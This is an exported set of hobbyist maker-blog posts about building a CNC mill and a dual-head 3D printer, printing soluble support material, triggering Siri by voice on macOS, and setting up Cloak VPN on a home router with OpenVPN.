<div style="margin: 8px 0 0 0; padding: 0 4px;">
<a href="https://www.instagram.com/p/BNttt7mB4fa/" style="color: black; font-family: "arial" , sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 17px; text-decoration: none; word-wrap: break-word;" target="_blank">CNC milling machine is getting closer to being complete!</a></div>
<div style="color: #c9c8cd; font-family: Arial,sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 0; margin-top: 8px; overflow: hidden; padding: 8px 0 7px; text-align: center; text-overflow: ellipsis; white-space: nowrap;">
A post shared by @emc_technician on <time datetime="2016-12-07T11:29:41+00:00" style="font-family: Arial,sans-serif; font-size: 14px; line-height: 17px;">Dec 7, 2016 at 3:29am PST</time></div>
</div>
</blockquote>
<br />
<div style="text-align: center;">
<script async="" defer="" src="//platform.instagram.com/en_US/embeds.js"></script>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYJQyR-oJf_U25tmlYlwfkx43oICdNtZadDhLIgrHOo-G3yPJ4y_pBVfnpFwSeH8aa6sppr90Dec4lxy9Pzy9EjvUj_L5Ii0665FYKy0PEGcJg2X8OpWHwVQAcuKaolBH6lrYQIFXWef8/s1600/IMG_20161210_192931.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYJQyR-oJf_U25tmlYlwfkx43oICdNtZadDhLIgrHOo-G3yPJ4y_pBVfnpFwSeH8aa6sppr90Dec4lxy9Pzy9EjvUj_L5Ii0665FYKy0PEGcJg2X8OpWHwVQAcuKaolBH6lrYQIFXWef8/s640/IMG_20161210_192931.jpg" width="480" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I have a few things to tidy up still like rewiring the spindle motor, get speed feedback from the spindle and add a dust extraction system to keep the mess down. These are all future projects, for now I have a use for the machine which I will show in a future post. I also had the mill drill a bunch of holes in the spoilboard for mounting parts.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<blockquote class="instagram-media" data-instgrm-captioned="" data-instgrm-version="7" style="background: #fff; border-radius: 3px; border: 0; box-shadow: 0 0 1px 0 rgba(0 , 0 , 0 , 0.5) , 0 1px 10px 0 rgba(0 , 0 , 0 , 0.15); margin: 1px; max-width: 658px; padding: 0; width: 99.375%;">
<div style="padding: 8px;">
<div style="background: #F8F8F8; line-height: 0; margin-top: 40px; padding: 50.0% 0; text-align: center; width: 100%;">
<div style="background: url(data:image/png; display: block; height: 44px; margin: 0 auto -44px; position: relative; top: -22px; width: 44px;">
</div>
</div>
<div style="margin: 8px 0 0 0; padding: 0 4px;">
<a href="https://www.instagram.com/p/BN33IrKBmd6/" style="color: black; font-family: "arial" , sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 17px; text-decoration: none; word-wrap: break-word;" target="_blank">Slowly but surely. Getting my mill to drill itself.</a></div>
<div style="color: #c9c8cd; font-family: Arial,sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 0; margin-top: 8px; overflow: hidden; padding: 8px 0 7px; text-align: center; text-overflow: ellipsis; white-space: nowrap;">
A post shared by @emc_technician on <time datetime="2016-12-11T10:04:23+00:00" style="font-family: Arial,sans-serif; font-size: 14px; line-height: 17px;">Dec 11, 2016 at 2:04am PST</time></div>
</div>
</blockquote>
<script async="" defer="" src="//platform.instagram.com/en_US/embeds.js"></script>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com2tag:blogger.com,1999:blog-6527582820690732985.post-72213518656448514682016-10-05T18:43:00.002+08:002016-10-05T18:52:49.923+08:00Activate Siri with macOS Voice Commands and AutomatorSo a lot of us iPhone power users have gotten used to the ability to activate siri on our phones without voice commands, and now that Siri has made it on to macOS Sierra, a few of us were probably surprised to know that we couldn't activate the same feature on our much more powerful laptops with better microphones! Well there's a cool little hack that will allow you to do just that, and introduce you to a whole world of voice automation fun.<br />
<br />
You could be laying back in your bed with your mac open on your desk, and ask it to start playing music without even having to get up, as I demonstrate in this video<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/vUXZsPhCndU/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/vUXZsPhCndU?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
I've based my instructions of <a href="http://www.macworld.com/article/3096187/macs/how-to-make-siri-activate-when-you-say-hey-siri-to-your-mac-running-macos-sierra.html">this tutorial</a>, however since my instructions use Automator instead of a keyboard shortcut, they will work on more people's setups! so go ahead and follow these instructions until instruction 10, and then instead of assigning the dictation command to a keyboard shortcut, we're going to create a workflow with Automator and run that instead.<br />
<br />
All you need to do is open up Automator (a program that comes pre-installed with macOS that many people simply overlook) which can be found in spotlight search. Then create a new workflow<br />
<br />
<span id="goog_772847301"></span><span id="goog_772847302"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbERDq0CR2Hw0eZ_oUxzXLO_MkLs8wDvqkgdEuHppzA3FEFtNMOG_9xYEuljtkYzjptcjDxhwVMr9ITQKBscdVNZwHTVbk9FaAv2sOSt89oi3676nWXwuwThEQw8HSO7JZzsW-w0Lmxsth/s1600/Screen+Shot+2016-10-05+at+9.38.58+pm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbERDq0CR2Hw0eZ_oUxzXLO_MkLs8wDvqkgdEuHppzA3FEFtNMOG_9xYEuljtkYzjptcjDxhwVMr9ITQKBscdVNZwHTVbk9FaAv2sOSt89oi3676nWXwuwThEQw8HSO7JZzsW-w0Lmxsth/s320/Screen+Shot+2016-10-05+at+9.38.58+pm.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Now you simply add the action "Launch Application" which can be found by searching for it under the Utilities library, and as the Application parameter for this action we just select Siri.app</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkz1kQGSfXiVqwyce5rI3r3aoC3O3PSED50OBiuZf3umZP4Lwdx2aPj5LJxFE1JX4Xtrh1Kxcv_3oY2Fkp-FR7MECfHAtL44fNIkhCfgNjRSkdG6uRGc619QfJKJWzQYxoZ_hacPUqdjt8/s1600/Screen+Shot+2016-10-05+at+9.42.32+pm.png" imageanchor="1"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkz1kQGSfXiVqwyce5rI3r3aoC3O3PSED50OBiuZf3umZP4Lwdx2aPj5LJxFE1JX4Xtrh1Kxcv_3oY2Fkp-FR7MECfHAtL44fNIkhCfgNjRSkdG6uRGc619QfJKJWzQYxoZ_hacPUqdjt8/s320/Screen+Shot+2016-10-05+at+9.42.32+pm.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Now you save this workflow and assign the voice command to the workflow you saved. Easy!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
One thing to note is that it sometimes works TOO well, in that siri will activate itself if you're listening to audio on the speakers that contains the words "hey siri"</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/wCcQJqvx4Hc/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/wCcQJqvx4Hc?feature=player_embedded" width="320"></iframe></div>
derwentxhttp://www.blogger.com/profile/18302517537094942860noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-80433192091641614532015-11-27T12:35:00.002+08:002015-11-27T12:35:33.619+08:00How to set up Cloak VPN on your Asus RT or DD-WRT router using OpenVPNHey all!<br />
I was quite surprised today at how little information there is out there on how to configure Cloak on non-apple devices, so I thought I'd do a little write-up to save everyone the hour or two it took me to gather all this information myself. For me, the reason I need Cloak on my router is so that I can watch American Netflix on my Chromecast (and future Apple TV hehe).<br />
<br />
Cloak is a great VPN service that's geared towards Apple products, but its official support is limited to ONLY iOS and OSX devices, with no indication of future support of other systems (so if you want a VPN android or windows support have a look at services like ExpressVPN). on the OSX client it uses an OpenVPN profile with the following configuration (don't worry if this makes no sense):<br />
<br />
<blockquote class="tr_bq">
<span style="background-color: #eeeeee; color: #555555; font-family: "consolas" , "courier new" , "monaco" , monospace; font-size: 15px;">/Applications/Cloak.app/Contents/MacOS/openvpn --client --daemon cloak --writepid /var/run/cloak-openvpn.pid --log-append /var/log/cloak.log --dev tun --lport 0 --comp-lzo --ca /.../cloakca --remote-cert-tls server --ifconfig-noexec --route-noexec --server-poll-timeout 10 --auth-user-pass --auth-nocache --auth-retry interact --management /.../cloakmgt.unix --management-client --management-query-passwords --up-delay --up-restart --plugin /Applications/Cloak.app/Contents/MacOS/cloakvpn.so --script-security 0 --verb 2 --setenv cloak_logging_uid UID --setenv cloak_plugin_server /.../cloak.pluginserver --remote ENDPOINT_1 443 tcp --remote ENDPOINT_1 443 udp --remote ENDPOINT_2 443 tcp --remote ENDPOINT_2 443 udp --remote ENDPOINT_3 443 tcp --remote ENDPOINT_3 443 udp --remote openvpn.getcloakvpn.com 443 tcp --remote openvpn.getcloakvpn.com 443 udp</span></blockquote>
And after some googling i found a gist written by davepeck (one of the guys from Cloak) that specified an OpenVPN config file for using with cloak <a href="https://gist.github.com/davepeck/6527419">here</a> Awesome! But it didn't work for me :(<br />
<br />
<blockquote class="tr_bq">
<span style="background-color: white; color: #333333; font-family: "helvetica neue" , "helvetica" , "segoe ui" , "arial" , "freesans" , sans-serif , "apple color emoji" , "segoe ui emoji" , "segoe ui symbol"; font-size: 14px;">Nov 27 10:28:09 rc_service: waitting "start_vpnclient1" via udhcpc ...</span><br />
<span style="background-color: white; color: #333333; font-family: "helvetica neue" , "helvetica" , "segoe ui" , "arial" , "freesans" , sans-serif , "apple color emoji" , "segoe ui emoji" , "segoe ui symbol"; font-size: 14px;">Nov 27 10:28:10 openvpn[726]: Options error: You must define CA file (--ca) or CA path (--capath)</span><br />
<span style="background-color: white; color: #333333; font-family: "helvetica neue" , "helvetica" , "segoe ui" , "arial" , "freesans" , sans-serif , "apple color emoji" , "segoe ui emoji" , "segoe ui symbol"; font-size: 14px;">Nov 27 10:28:10 openvpn[726]: Use --help for more information.</span></blockquote>
So I did some playing around with the config file and eventually I got one working for me, <a href="https://gist.github.com/derwentx/4a5ec85ab9d5753089de">here is where to download it</a> (I uncommented one line)<br />
<br />
So here are the full instructions:<br />
<br />
<b>Get your router:</b><br />
<b><br /></b>
This is my Asus RT-AC67U. It's a fast, powerful router with a great UI (and I got it for free from work!)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDnlsFEmIFV0481aAZBAVYlB5XJRMYoG_X6Z0RXZMQKnLF9S5WXDeT-AicKntjZZn6-UPPveEk45_wqNP30VW6_x0zH1PYc7byRUd35hZ7pHxcwWSYU7bOOBofmBQtyh34up2IiD__wxf_/s1600/IMG_0369+copy-1+%2528dragged%2529.tiff" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDnlsFEmIFV0481aAZBAVYlB5XJRMYoG_X6Z0RXZMQKnLF9S5WXDeT-AicKntjZZn6-UPPveEk45_wqNP30VW6_x0zH1PYc7byRUd35hZ7pHxcwWSYU7bOOBofmBQtyh34up2IiD__wxf_/s320/IMG_0369+copy-1+%2528dragged%2529.tiff" width="320" /></a></div>
<br />
<br />
<b>Update your router firmware</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinC_NyZUL-DT32q6EYA2cTh_AQVcfU-U57k5fFskp0OPe8q3cZcq9nHRfO5cwAk6qUc71_iO-HscX_I6jLfaniMxFNFrmHyt7a5dNKqLYXFmGJzTtpKVRohPJfhNz7DZoN-2ploCAyJM-M/s1600/Screen+Shot+2015-11-27+at+11.47.42+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinC_NyZUL-DT32q6EYA2cTh_AQVcfU-U57k5fFskp0OPe8q3cZcq9nHRfO5cwAk6qUc71_iO-HscX_I6jLfaniMxFNFrmHyt7a5dNKqLYXFmGJzTtpKVRohPJfhNz7DZoN-2ploCAyJM-M/s320/Screen+Shot+2015-11-27+at+11.47.42+AM.png" width="304" /></a></div>
<b><br /></b>
<b>Add a new VPN Client Profile</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEfa4uOWJqWr4ZIY1k3Pbzjwrv1bYVJvX9WnIuEtNaNXN_pNcOY4IeSGIVP1hcdyJofzqXVzpm5tCBCnPWxkR4FFRksz4zgbupnPMf0YH5jENv61GH_m0VuOTRWkXXmVWPrRSGyRIw8ak8/s1600/Screen+Shot+2015-11-27+at+11.49.44+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEfa4uOWJqWr4ZIY1k3Pbzjwrv1bYVJvX9WnIuEtNaNXN_pNcOY4IeSGIVP1hcdyJofzqXVzpm5tCBCnPWxkR4FFRksz4zgbupnPMf0YH5jENv61GH_m0VuOTRWkXXmVWPrRSGyRIw8ak8/s320/Screen+Shot+2015-11-27+at+11.49.44+AM.png" width="303" /></a></div>
Upload the OpenVPN configuration settings provided in my gist <a href="https://gist.github.com/derwentx/4a5ec85ab9d5753089de">here</a><br />
Tick Import the CA file or edit the .ovpn file manually." and copy the CA from the file (including the start and finish lines) into the CA field<br />
<br />
Click OK and Activate the VPN profile.<br />
<br />
If everything went well, you should be exiting out of the closest exit node (in my case, Melbourne)<br />
<br />
Now, here's where things get hacky...<br />
<br />
<b>Update the openVPN server in the config</b><br />
<br />
If you want to exit through another country, you have to activate cloak on another device, and then resolve the domain openvpn.getcloakvpn.com to get the ip address of the exit node then replace the instances of openvpn.getcloakvpn.com with that IP. Yes, this seems like a pretty silly hack but it totally worked for me! I can't guarantee the stability of this but it's lasted me a few hours.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihelUR5GEi2uF80PHfhenqNsy6INfYtxdzDF_WJ843q-yZ1VGVN_FZg9pcdkUdpjn6R6qdYdsUPfNbFixJFwCsvJpkvlUr15NO4PdTfdJ4v8mCAmU9ezPUySBa7NUJdpvpA0xzq9jIkVmv/s1600/Screen+Shot+2015-11-27+at+11.54.56+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihelUR5GEi2uF80PHfhenqNsy6INfYtxdzDF_WJ843q-yZ1VGVN_FZg9pcdkUdpjn6R6qdYdsUPfNbFixJFwCsvJpkvlUr15NO4PdTfdJ4v8mCAmU9ezPUySBa7NUJdpvpA0xzq9jIkVmv/s320/Screen+Shot+2015-11-27+at+11.54.56+AM.png" width="320" /></a></div>
<br />
Now I have a portal to california, I'm free to browse the internet anonymously and American Netflix on my Chromecast!<br />
<br />
<br />
<br />
<b><br /></b>derwentxhttp://www.blogger.com/profile/18302517537094942860noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-42864133817323669792015-08-17T23:58:00.000+08:002015-09-15T16:40:58.568+08:00Experimenting with soluble support materialsThe main reason we wanted to have dual extrduers was to enable the printing of complex structures using a soluble support material. The materials we have been using are HIPS and ABS. HIPS (High Impact Polystyrene) can be dissolved in Limonene, a cyclic terpene made from the leftover pulp and rind of oranges.<br />
<div>
<br /></div>
<div>
The first design which made use of the soluble support material was a simple gear mesh test found <a href="http://www.thingiverse.com/thing:12342">here on Thingiverse</a>. The print turned out functional, but the gears had a lot of freeplay and wasn't a great example of what I believed the printer was capable of.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/BFgvsxa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/BFgvsxa.jpg" height="320" width="240" /></a></div>
<br />
I wanted something challenging to print, I settled on designing a bearing, specifically a roller bearing, this suited a first design as it is relatively easy to design and print compared to a ball bearing. Using information learned from an MIT Fundamentals of Design <a href="http://web.mit.edu/2.75/fundamentals/FUNdaMENTALs%20Book%20pdf/FUNdaMENTALs%20Topic%2010.PDF">pdf on bearings</a> I wrote an OpenSCAD script to generate a roller bearing design given desired inner and outer diameters, you can find the script <a href="https://github.com/mcpetrolhead/3D-designs">on my github</a>.<br />
<br />
The design went through a couple of iterations, this first version I printed had a very small gap between the inner and outer side walls, this made it very difficult to get the soluble support material out.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/CgrpZGZ.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/CgrpZGZ.jpg" height="320" width="236" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Below is the latest render of the bearing without the outer wall to show the internal workings, in this iteration the gap between the inner and outer sidewalls has been increased to allow more liquid flow into the internals of the bearing. The ring running through the center of the rollers is the cage, this keeps the rollers spaced correctly.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/FH7hSKo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/FH7hSKo.png" height="303" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
For the first print I generated more support material than needed, I rectified this and below you can see a render of the support structure less the outer wall support. One of the biggest reduction in disolving time is to adjust the slicing settings for the soluble support I used slic3r with the following settings: </div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> For soluble support:</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Extruder soluble material (HIPS)</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Top solid layers 1</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Solid bottom layers 0</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Perimeters 0</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Solid infill threashold area 1mm^2 </span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> For bearing:</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Extruder solid material (ABS)</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Top solid layers 3</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Solid bottom layers 3</span></div>
<div class="separator" style="clear: both;">
<span style="font-size: x-small;"> -Perimeters 5</span></div>
<div class="separator" style="clear: both; text-align: left;">
The removal of unnecessary support and adjustment of slicing settings keeps the amount of material to be dissolved as minimal as possible and saves on your dissolving fluid.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/skQtYO4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/skQtYO4.png" height="263" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
The final print is dissolved in limonene, it took quite some time to dissolve the support but in the end A couple of the rollers were still stuck. In the process of trying to work them loose one of the rollers snapped in half at the cage so I will be reprinting again. It can handle a filament spool but I don't think it would survive at anything but slow speeds.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/TXvJcnL.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/TXvJcnL.jpg" height="320" width="236" /></a></div>
<br />
See here for the design on <a href="http://www.thingiverse.com/thing:971956">thingiverse </a>or on my <a href="https://github.com/mcpetrolhead/3D-designs/blob/master/configurable%20roller%20bearing.scad">github</a>.<br />
<br />
I might try redesigning the cage in the future, in replace of the single cage there would be a cage either end of the rollers. This would make the support material between the roller and cage easier to dissolve. However it has a couple of downsides, it will mean more support material to support a second cage and restrict the side openings.<br />
<br />
Matt</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-19529219095504352772015-08-10T18:03:00.002+08:002015-08-14T15:59:46.902+08:00The Hydra: a Dual Head i3-Based 3D PrinterLaserphile's most extensive project so far has to be our 3D printer, dubbed The Hydra. The Hydra evolved naturally from it's ancestor, the <a href="http://reprap.org/wiki/Prusa_i3">Prusa i3</a> which we have modified and tinkered with for 2 years to get to where we are now. Although still under development it's a fast, thermally efficient, dual head printer with a custom, laser-cut acrylic case and uses the Bowden mechanism for extrusion. Here's a run down of the process we went through to get to where we are now.<br />
<br />
<h2>
</h2>
<h2>
Evolution</h2>
<h3>
Genesis</h3>
<div>
<h2>
</h2>
</div>
<div>
Using the designs of the Prusa i3, created by Josef Prusa we had the aluminium frame cut using an industrial water jet cutter and sourced as much of the electronics and hardware from local stores. <a href="http://www.altronics.com.au/">Altronics </a>had all the cabling, the arduino micro, various electronics and a small selection of nuts and bolts. The smooth and threaded rods came from various local hardware stores.</div>
<div>
<br />
Once we had gathered all the pieces together, the printer came together really quickly. Within a few hours we had assembled most of the printer, and we had an awesome 3-axis robot that moved around with serial commands within a few days.<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/rrzuxz-A7-A/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/rrzuxz-A7-A?feature=player_embedded" width="320"></iframe><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/JEpJqVC54oA/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/JEpJqVC54oA?feature=player_embedded" width="320"></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h3>
Warping</h3>
After finishing construction we had some issues relating to the reliability of prints, namely getting prints to stick to the heated bed. We mitigated this by increasing the temperature of the heat bed, this was helped by insulating the underside of the bed with styrofoam wrapped in Aluminium foil to decrease thermal losses and adding a layer of Kapton tape to the print surface to increase the print adhesion. This worked great but after some months of use we found the heated bed (which is essentially just a fibreglass circuit board) had started to warp, so we decided to splash out and get a piece of glass cut (actually only cost $5 from a local glass cutter). Having the glass made a world of difference, it made levelling the print bed much easier and the build surface was now perfectly flat. No more would prints fail to stick!<br />
<br />
<h3>
Software</h3>
<div>
Our printer management software of choice has been <a href="http://octoprint.org/">Octoprint</a> which runs on our Raspberry Pi and provides an excellent graphical interface to the Arduino micro controller using a web server. You can upload your gCode files to it and initiate prints along with the ability to manually control temperatures and movement, very useful for calibration. In the photo below you can see the raspberryPi mounted on the right hand side of the frame.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/1hxWdFu.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/1hxWdFu.jpg" height="260" width="472" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h3>
Bowden Extruder</h3>
<div>
Now that we had unlocked the "relatively stable print quality" achievement with our mostly vanilla i3, we really started to tinker with things. The fist major deviation from the i3 blueprint came with our implementation of a bowden extruder, it was a huge upgrade to our heavy, direct drive extruder that was causing a lot of backlash on the X axis. The first extruder we used was a slightly modified QU-BD MBE V9 direct drive extruder which we turned into a bowden setup with a few custom parts, later on we switched to E3D V6 hotends and re-designed our own bowden motor mount. The different designs for the motor mount can be found in <a href="https://github.com/mcpetrolhead/3D-designs/tree/master/i3%20modifications">this repository</a>.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://i.imgur.com/dwkhM1m.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="http://i.imgur.com/dwkhM1m.jpg" height="320" width="240" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">QU-BD direct drive extruder</td></tr>
</tbody></table>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw-5sfQ_F2BMAsV-PEZDV7GOzI_BoR4lsfqNnk3Jr9MytK-zshLhQ3jPnthmWCjLQP7OBhhffizTwezE5NTPwFtm_8H0tA8AomlSFX0RzdPAX7SOL3FMYnQQ8s6Ym9oUwZcx3wHEqJueKR/s1600/IMG_5495.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw-5sfQ_F2BMAsV-PEZDV7GOzI_BoR4lsfqNnk3Jr9MytK-zshLhQ3jPnthmWCjLQP7OBhhffizTwezE5NTPwFtm_8H0tA8AomlSFX0RzdPAX7SOL3FMYnQQ8s6Ym9oUwZcx3wHEqJueKR/s320/IMG_5495.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">QU-BD bowden extruder</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://i.imgur.com/2vbbScn.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="" border="0" src="http://i.imgur.com/2vbbScn.jpg" height="320" title="" width="240" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">E3d V6 hot end</td></tr>
</tbody></table>
<br />
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<h3>
Two heads are better than one</h3>
By far the biggest upgrade we have done to the printer is add a second extruder to it. This allows it to do a few extra things that are just impossible with a single extruder, first it can do two colours (see below) and it can do different plastic types. The main reason for the upgrade is so it can print with a soluble support plastic along with the normal plastic, this opens up a realm of possibilities.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/3sLjF6q.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Laserphile Hydra dual head extruder system" border="0" src="http://i.imgur.com/3sLjF6q.jpg" height="200" title="" width="200" /></a><a href="http://i.imgur.com/GsbZoRR.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Laserphile Hydra 3D printed dice with multiple materials" border="0" src="http://i.imgur.com/GsbZoRR.jpg" height="200" title="" width="147" /></a></div>
<br />
<h3>
Acrylic Case</h3>
<div>
Our most recent mod is probably our most unique. Although our cider box thermal solution was actually pretty effective, to further combat the issues we had with warping we designed an acrylic case to try and retain some of the heat from the heated bed and block any draughts. Although it took a while to refine the design using Open SCAD, it was really surprising how easily this case came together after we got the pieces laser cut. You can find the design files <a href="https://github.com/derwentx/hydra-bits/tree/master/case">here</a>.</div>
<h2>
</h2>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZZgU43w0WYGNh2LH4gAz8Vk_n98OKL4p7UVyb0iJuJ_M-86bHa0RqyDHoyRwmcYIx1YgnPrvVYMI0ftoVdt9jQ2TTiN6P_b4UxFt1z0s4Wh6ZVWr6dAIVtRuFdVvfUypDzPlkeR9U4zlV/s1600/IMG_2559.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Laserphile Hydra 3D printer with cardboard case" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZZgU43w0WYGNh2LH4gAz8Vk_n98OKL4p7UVyb0iJuJ_M-86bHa0RqyDHoyRwmcYIx1YgnPrvVYMI0ftoVdt9jQ2TTiN6P_b4UxFt1z0s4Wh6ZVWr6dAIVtRuFdVvfUypDzPlkeR9U4zlV/s400/IMG_2559.jpg" title="" width="300" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Before</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://i.imgur.com/3HmFnwO.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Laserphile Hydra with custom acrylic case" border="0" src="http://i.imgur.com/3HmFnwO.jpg" height="400" title="" width="295" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">After</td></tr>
</tbody></table>
<h2 style="text-align: left;">
</h2>
<h2 style="text-align: left;">
The Future</h2>
Our plan is to continue to work on improving the print reliability, and increasing the z axis print height. This will require modifications to the heat bed mount and hot end mounts as these are the parts most vulnerable to vibrations and effect the print height.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
